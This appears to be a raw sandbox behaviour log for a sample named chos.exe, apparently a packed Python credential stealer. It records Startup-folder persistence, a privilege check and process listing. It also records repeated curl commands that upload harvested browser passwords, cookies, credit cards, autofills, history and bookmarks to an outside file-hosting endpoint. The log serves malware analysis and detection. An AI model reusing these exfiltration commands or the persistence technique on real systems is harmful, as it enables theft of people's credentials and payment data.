Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_des3.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Protocol\_scrypt.pydJump to dropped file
Source: C:\Users\user\Desktop\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI74682\_multiprocessing.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Hash\_keccak.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Cipher\_raw_cast.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI98882\Crypto\Util\_cpuid_c.pydJump to dropped file
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_10-18286
Source: C:\Users\user\Desktop\chos.exeCheck user administrative privileges: GetTokenInformation,DecisionNodesgraph_0-17410
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DD83B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,0_2_00007FF666DD83B0
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DD92F0 FindFirstFileExW,FindClose,0_2_00007FF666DD92F0
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DF18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_00007FF666DF18E4
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD7392F0 FindFirstFileExW,FindClose,10_2_00007FF7FD7392F0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD7383B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,10_2_00007FF7FD7383B0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD7518E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,10_2_00007FF7FD7518E4
Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\
Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\
Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\
Source: chos.exe, 00000011.00000003.1703493750.00000211B7FB5000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^C
Source: chos.exe, 00000000.00000003.1429956767.0000018B76862000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: j2aTPs+9xYa9+bG3tD60B8jzljHz7aRP+KNOjSkVWLjVb3/ubCK1sK9IRQq9qEmU
Source: chos.exe, 00000011.00000003.1701143564.00000211B7C7A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW15
Source: curl.exe, 00000031.00000002.1909714243.0000028AD0A71000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: curl.exe, 00000009.00000003.1626863027.000001791A305000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllgg
Source: curl.exe, 0000000D.00000003.1653123473.000001C952E15000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllWW
Source: curl.exe, 00000010.00000003.1680740824.000001DB46B86000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllCC
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DEA684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF666DEA684
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DF34F0 GetProcessHeap,0_2_00007FF666DF34F0
Source: C:\Windows\System32\tasklist.exeProcess token adjusted: DebugJump to behavior
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DDC910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,0_2_00007FF666DDC910
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DEA684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF666DEA684
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DDD37C SetUnhandledExceptionFilter,0_2_00007FF666DDD37C
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DDD19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00007FF666DDD19C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD74A684 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,10_2_00007FF7FD74A684
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD73C910 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,10_2_00007FF7FD73C910
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD73D19C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,10_2_00007FF7FD73D19C
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD73D37C SetUnhandledExceptionFilter,10_2_00007FF7FD73D37C
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Users\user\Desktop\chos.exe "C:\Users\user\Desktop\chos.exe"Jump to behavior
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"Jump to behavior
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\Desktop\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklistJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFileJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe" Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFileJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFileJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\curl.exe curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DF95E0 cpuid 0_2_00007FF666DF95E0
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Cipher VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Hash VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\PublicKey VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\Crypto\Util VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\certifi VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography-44.0.0.dist-info VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography-44.0.0.dist-info VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography-44.0.0.dist-info VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography-44.0.0.dist-info VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography-44.0.0.dist-info VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography-44.0.0.dist-info\licenses VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\cryptography-44.0.0.dist-info VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\importlib_metadata-8.0.0.dist-info VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\wheel-0.43.0.dist-info VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\wheel-0.43.0.dist-info VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\Desktop\chos.exe VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\base_library.zip VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682 VolumeInformationJump to behavior
Source: C:\Users\user\Desktop\chos.exeQueries volume information: C:\Users\user\AppData\Local\Temp\_MEI74682\_ctypes.pyd VolumeInformationJump to behavior
